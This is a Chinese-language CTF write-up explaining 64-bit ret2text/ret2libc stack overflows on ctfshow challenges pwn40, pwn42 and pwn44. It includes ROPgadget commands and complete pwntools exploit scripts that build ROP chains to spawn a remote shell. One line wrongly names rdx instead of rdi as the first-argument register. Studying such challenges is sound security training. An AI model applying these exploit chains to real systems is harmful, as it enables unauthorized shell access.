写在前面:这种类型的题其实不好归纳是ret2text还是ret2libc,我这里按照ctfwiki的分类方法,将存在完整可执行的system(bin/sh)后门函数的题型归纳为ret2text,将需要利用基本的ROP技术的题型归纳位ret2libc
我们知道,在32位系统下,参数是直接被放在栈上的,不需要寄存器,因此只需要简单的覆盖到后门函数地址即可,但是在64位系统下则不一样了
64位系统的函数调用约定
linux下64位系统采用System V AMD64调用约定,这里我会在阅读完CSAPP第三章后做更加详细的解释,下面是一些简要解释
参数传递方式
| 参数编号 |
寄存器 |
| 第 1 个 |
RDI |
| 第 2 个 |
RSI |
| 第 3 个 |
RDX |
| 第 4 个 |
RCX |
| 第 5 个 |
R8 |
| 第 6 个 |
R9 |
函数的前六个参数从右往左先被存入寄存器,再通过call调用函数
foo(1, 2, 3, 4, 5, 6, 7);
mov rdi, 1
mov rsi, 2
mov rdx, 3
mov rcx, 4
mov r8, 5
mov r9, 6
push 7 #第七个参数压入栈
call foo
有system函数和bin/sh字符串
eg1:ctfshow pwn40
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts(asc_400828); puts(asc_4008A0); puts(asc_400920); puts(asc_4009B0); puts(asc_400A40); puts(asc_400AC8); puts(asc_400B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : It has system and '/bin/sh',but they don't work together"); puts(" * ************************************* "); puts("Just easy ret2text&&64bit"); ctfshow(); puts("\nExit"); return 0; }
|
1 2 3 4 5 6
| ssize_t ctfshow() { char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32uLL); }
|
ctfshow函数存在明显栈溢出,偏移量为0xA+0x8
左侧的函数窗口是有system函数的,我们可以看到它在plt表里的地址
我们找的是plt表的地址,而不是got表,两个地址有一定要区别开
了解完延迟绑定我回来补充一下:这里got表里的offset system并不是system的真实地址,


shitf加f12查看字符串,存在bin/sh字符串


下面的是就很简单了,首先是把bin/sh字符串传到第一个寄存器rdx里,然后想rdi寄存器指向system函数即可

用之前讲的ROPgadget指令找到pop rdi
1 2 3
| ROPgadget --binary pwn --only "pop|ret"|grep rdi
ROPgadget --binary pwn --only "ret"
|
为了栈对齐,我们必须在pop rdi后加一个ret

exp如下:
1 2 3 4 5 6 7 8 9 10
| from pwn import * context.log_level = 'debug' io = remote('pwn.challenge.ctf.show', 28105) payload = b'a'*(0xA+8) payload += p64(0x4007e3) #pop rdi payload += p64(0x400808) #bin/sh payload += p64(0x4004fe) #ret payload += p64(0x400520) #system io.sendline(payload) io.interactive()
|
成功执行system bin/sh

有system函数和sh字符串
eg2:ctfshow pwn42
这个题的payload和pwn40一模一样,具体参考之前写的初识ret2libc(32位),考点还是用sh替代bin/sh字符串,无非是改了几个地址而已,因此不再贴题目内容和具体过程了
1 2 3 4 5 6 7 8 9 10
| from pwn import * context.log_level = 'debug' io = remote('pwn.challenge.ctf.show', 28103) payload = b'a'*(0xA+8) payload += p64(0x0000000000400843) #pop rdi payload += p64(0x0000000000400872) #用sh替代bin/sh payload += p64(0x000000000040053e) #ret payload += p64(0x0000000000400560) #system io.sendline(payload) io.interactive()
|

有system函数无bin/sh字符串
eg3:ctfshow pwn44
1 2 3 4 5 6 7 8
| int __cdecl main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts("get system parameter!"); ctfshow(); return 0; }
|
1 2 3 4 5 6
| __int64 ctfshow() { char v1[10]; // [rsp+6h] [rbp-Ah] BYREF
return gets(v1); }
|
左侧存在system函数,按空格进入反汇编界面

查看字符串,发现没有bin/sh

我们依然要用之前打的pwn43用的套路,即用sendline传入bin/sh
依然是在main函数下断点,按r运行后,用vammp找到可读可写可执行段,存在buf2参数可以供我们写入bin/sh字符串


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context.log_level = 'debug' io = remote('pwn.challenge.ctf.show', 28146) offset = (0xA+8) system_addr = 0x400520 gets_addr = 0x400530 rdi_addr = 0x4007f3 ret_addr = 0x4004fe buf2_addr = 0x602080
payload = b'a'*offset
payload += p64(rdi_addr) payload += p64(buf2_addr) payload += p64(ret_addr) payload += p64(gets_addr)
payload += p64(rdi_addr) payload += p64(buf2_addr) payload += p64(ret_addr) payload += p64(system_addr)
io.sendline(payload) io.sendline("/bin/sh") io.interactive()
|
依然要注意,调用函数前,必须先用pop rdi设置好寄存器,因此参数必须放在gadget后面
